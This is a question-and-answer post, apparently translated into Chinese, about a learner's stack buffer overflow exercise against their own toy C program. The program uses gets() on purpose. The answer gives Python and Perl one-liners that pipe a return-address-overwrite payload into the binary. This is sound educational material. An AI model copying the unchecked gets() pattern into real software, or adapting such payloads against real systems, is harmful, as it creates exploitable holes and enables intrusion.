需要帮助执行简单的缓冲区溢出

Need Help Executing Simple Buffer Overflow

我正在尝试对这段代码执行缓冲区溢出:

#include <stdio.h>

CanNeverExecute(){
    printf ("You should not be seeing this , right?\n");
}

Greet(){
    char buf [8];
    gets(buf); // This line is vulnerable because "gets" does not perform a length check, it just copies the whole user input
    printf ("Good day, %s\n", buf);
}

int main(){
    Greet();
    return 0;
}

这是反汇编的 Greet 函数:

080484b1 <Greet>:
 80484b1:   55                      push   %ebp
 80484b2:   89 e5                   mov    %esp,%ebp
 80484b4:   53                      push   %ebx
 80484b5:   83 ec 14                sub    [=11=]x14,%esp
 80484b8:   e8 03 ff ff ff          call   80483c0 <__x86.get_pc_thunk.bx>
 80484bd:   81 c3 43 1b 00 00       add    [=11=]x1b43,%ebx
 80484c3:   83 ec 0c                sub    [=11=]xc,%esp
 80484c6:   8d 45 f0                lea    -0x10(%ebp),%eax
 80484c9:   50                      push   %eax
 80484ca:   e8 61 fe ff ff          call   8048330 <gets@plt>
 80484cf:   83 c4 10                add    [=11=]x10,%esp
 80484d2:   83 ec 08                sub    [=11=]x8,%esp
 80484d5:   8d 45 f0                lea    -0x10(%ebp),%eax
 80484d8:   50                      push   %eax
 80484d9:   8d 83 c7 e5 ff ff       lea    -0x1a39(%ebx),%eax
 80484df:   50                      push   %eax
 80484e0:   e8 3b fe ff ff          call   8048320 <printf@plt>
 80484e5:   83 c4 10                add    [=11=]x10,%esp
 80484e8:   90                      nop
 80484e9:   8b 5d fc                mov    -0x4(%ebp),%ebx
 80484ec:   c9                      leave
 80484ed:   c3                      ret

如果我没有记错的话,我必须输入16个字节来填充缓冲区,因为这条指令分配了16个字节,对吧? 80484d5: 8d 45 f0 lea -0x10(%ebp),%eax

所以我可以输入 16 个字符然后 4 个字节的 ebp = 20 个字节 + CanNeverExecute 的地址。该地址在 objdump 中显示为 08048486,我的机器是小端,所以我输入 20 个字节的随机字符 + 地址,如下所示:

AAAAAAAAAAAAAAAAAAAA\x86\x84\x04\x08

但是不行。我找不到错误,请帮我打。

当您输入带有转义字符的输入时,您实际上是在提供字符 '\''x''8''6' 等作为单独的 ASCII 编码字节。如果这些字符对应于某种正确的 UTF-8 编码,您至少可以通过复制和粘贴来输入它,如果不是通过在键盘上键入的话。但是漏洞利用很少对应于有效的编码,因此替代方法是使用另一个程序通过易受攻击的二进制文件的输入流提供特定的字节序列。

您可以使用 python 一行来提供包含转义字符的输入:

python3 -c "import sys; sys.stdout.buffer.write(b'AAAAAAAAAAAAAAAAAAAA\x86\x84\x04\x08')" | ./yourbinary

或使用perl:

perl -e 'print "AAAAAAAAAAAAAAAAAAAA\x86\x84\x04\x08"' | ./yourbinary